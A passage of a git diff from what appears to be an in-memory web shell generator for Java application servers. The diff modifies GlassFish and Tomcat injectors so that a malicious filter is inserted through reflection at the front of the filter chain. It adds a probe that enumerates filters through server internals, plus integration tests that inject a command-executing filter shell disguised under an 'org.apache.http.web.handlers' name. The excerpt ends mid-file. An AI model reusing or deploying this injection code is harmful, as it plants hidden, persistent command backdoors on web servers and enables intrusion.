diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index f63161ec..d7b01fad 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -7,7 +7,10 @@ import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -126,15 +129,18 @@ public class GlassFishFilterInjector { } Object filterDef; Object filterMap; + Class filterMapClass; ClassLoader contextClassLoader = context.getClass().getClassLoader(); try { // tomcat v8+ filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); - filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap"); + filterMap = filterMapClass.newInstance(); } catch (Exception e2) { // tomcat v5+ filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); - filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); + filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap"); + filterMap = filterMapClass.newInstance(); } invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); @@ -145,19 +151,16 @@ public class GlassFishFilterInjector { } invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); - Constructor[] constructors; try { invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); } catch (Exception e) { // tomcat v5 invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); } - try { - // v7.0.0 以上 - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } + + // addFilterMapFirst + List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null); + filterMaps.add(0, filterMap); Constructor filterConfigConstructor; filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; @@ -228,21 +231,39 @@ public class GlassFishFilterInjector { } @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Class clazz = obj.getClass(); - while (clazz != Object.class) { + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { try { - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - return field.get(obj); - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + } } throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + @SuppressWarnings("all") private String getErrorMessage(Throwable throwable) { PrintStream printStream = null; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index 3bc4b46b..d1e9d97e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -262,34 +262,36 @@ public class TomcatFilterInjector { } @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Class clazz = obj.getClass(); - while (clazz != Object.class) { + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { try { - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - return field.get(obj); - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + } } throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } + @SuppressWarnings("all") - public static void setFieldValue(Object obj, String name, Object value) throws Exception { - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - field.set(obj, value); - return; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { } - throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + return null; + } + + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java new file mode 100644 index 00000000..e0f2a5d1 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java @@ -0,0 +1,232 @@ +package com.reajason.javaweb.probe.payload.filter; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class GlassFishFilterProbe { + @Override + public String toString() { + String msg = ""; + Map>> allFiltersData = new LinkedHashMap>>(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts == null || contexts.isEmpty()) { + msg += "context not found\n"; + } else { + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } + msg += formatFiltersData(allFiltersData); + } + return msg; + } + + private List> collectFiltersData(Object context) { + Map> aggregatedData = new LinkedHashMap<>(); + + try { + List filterMaps = (List) invokeMethod(context, "findFilterMaps"); + if (filterMaps == null || filterMaps.isEmpty()) return Collections.emptyList(); + + Object[] filterDefs = (Object[]) invokeMethod(context, "findFilterDefs"); + Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); + + for (Object fm : filterMaps) { + String name = (String) invokeMethod(fm, "getFilterName"); + if (name == null) continue; + if (!aggregatedData.containsKey(name)) { + String filterClass = "N/A"; + if (filterDefs != null) { + for (Object def : filterDefs) { + if (!name.equals(invokeMethod(def, "getFilterName"))) continue; + Class cls = (Class) invokeMethod(def, "getFilterClass"); + if (cls == null && filterConfigs != null) { + Object config = filterConfigs.get(name); + Object filter = config != null ? invokeMethod(config, "getFilter") : null; + if (filter != null) filterClass = filter.getClass().getName(); + } + if (cls != null) filterClass = cls.getName(); + break; + } + } + Map info = new HashMap<>(); + info.put("filterName", name); + info.put("filterClass", filterClass); + info.put("urlPatterns", new LinkedHashSet()); + info.put("servletNames", new LinkedHashSet()); + aggregatedData.put(name, info); + } + Map info = aggregatedData.get(name); + String[] urls = null; + try { + urls = (String[]) invokeMethod(fm, "getURLPatterns"); + } catch (Exception e) { + try { + Object urlPattern = getFieldValue(fm, "urlPattern"); + if (urlPattern instanceof String) { + urls = new String[] { (String) urlPattern }; + } + } catch (Exception ignored) { + } + } + if (urls != null) ((Set) info.get("urlPatterns")).addAll(Arrays.asList(urls)); + } + } catch (Exception ignored) {} + List> result = new ArrayList<>(); + for (Map entry : aggregatedData.values()) { + Map finalInfo = new HashMap<>(); + finalInfo.put("filterName", (String) entry.get("filterName")); + finalInfo.put("filterClass", (String) entry.get("filterClass")); + Set urls = (Set) entry.get("urlPatterns"); + finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString()); + result.add(finalInfo); + } + return result; + } + + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String context = entry.getKey(); + List> filters = entry.getValue(); + output.append("Context: ").append(context).append("\n"); + if (filters.isEmpty()) { + output.append("No filters found\n"); + } else if (filters.size() == 1 && filters.get(0).containsKey("error")) { + output.append(filters.get(0).get("error")).append("\n"); + } else { + for (Map info : filters) { + appendIfPresent(output, "", info.get("filterName"), ""); + appendIfPresent(output, " -> ", info.get("filterClass"), ""); + appendIfPresent(output, " -> URL:", info.get("urlPatterns"), ""); + output.append("\n"); + } + } + } + return output.toString(); + } + + private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) { + if (value != null && !value.isEmpty()) { + sb.append(prefix).append(value).append(suffix); + } + } + + @SuppressWarnings("all") + private static String repeatString(String str, int count) { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < count; i++) { + sb.append(str); + } + return sb.toString(); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + /** + * com.sun.enterprise.web.WebModule + * /xxx/modules/web-glue.jar + */ + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } + } + return contexts; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + Class[] paramClazz = null; + Object[] param = null; + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/TomcatFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/TomcatFilterProbe.java index 8c00a83b..f7fe9dc0 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/TomcatFilterProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/TomcatFilterProbe.java @@ -39,7 +39,7 @@ public class TomcatFilterProbe { try { Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps"); - if (filterMaps == null || filterMaps.length == 0) return new ArrayList<>(); + if (filterMaps == null || filterMaps.length == 0) return Collections.emptyList(); Object[] filterDefs = (Object[]) invokeMethod(context, "findFilterDefs"); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java index 47b29ece..000918af 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java @@ -4,10 +4,7 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.probe.payload.BasicInfoPrinter; import com.reajason.javaweb.probe.payload.JdkProbe; import com.reajason.javaweb.probe.payload.ServerProbe; -import com.reajason.javaweb.probe.payload.filter.JettyFilterProbe; -import com.reajason.javaweb.probe.payload.filter.ResinFilterProbe; -import com.reajason.javaweb.probe.payload.filter.TomcatFilterProbe; -import com.reajason.javaweb.probe.payload.filter.UndertowFilterProbe; +import com.reajason.javaweb.probe.payload.filter.*; import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; import org.apache.commons.codec.binary.Base64; @@ -53,4 +50,8 @@ public class DetectionTool { public static String getUndertowFilterProbe() { return getBase64Class(UndertowFilterProbe.class); } + + public static String getGlassFishFilterProbe() { + return getBase64Class(GlassFishFilterProbe.class); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java index 5c0eed8b..a84fc9d1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java @@ -4,8 +4,12 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; @@ -16,10 +20,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import java.time.Duration; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -42,6 +49,11 @@ public class GlassFish3ContainerTest { container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); } + @AfterAll + static void teardown() { + log.info(container.getLogs()); + } + @Test void testJDK() { String url = getUrl(container); @@ -77,4 +89,24 @@ public class GlassFish3ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("EmptyFilter") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java index bdea4a44..0da66927 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; @@ -18,9 +21,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; import java.time.Duration; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -83,4 +90,24 @@ public class GlassFish4ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("EmptyFilter") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java index 618dd7db..6f090378 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.BeforeAll; @@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -75,4 +82,24 @@ public class GlassFish501ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("EmptyFilter") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java index 7635a6cc..f50aca9d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.BeforeAll; @@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -76,4 +83,24 @@ public class GlassFish510ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("EmptyFilter") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java index 67aecac7..1a095902 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.BeforeAll; @@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -76,4 +83,24 @@ public class GlassFish6ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("EmptyFilter") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V11, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java index 5cb578a8..3331e6e4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; @@ -17,9 +20,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -82,4 +89,24 @@ public class GlassFish7ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V17); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("EmptyFilter") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java index 483422d2..910daf10 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; @@ -17,9 +20,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -81,4 +88,24 @@ public class Payara5201ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java index 0bbc2800..61dea003 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java @@ -4,6 +4,9 @@ import 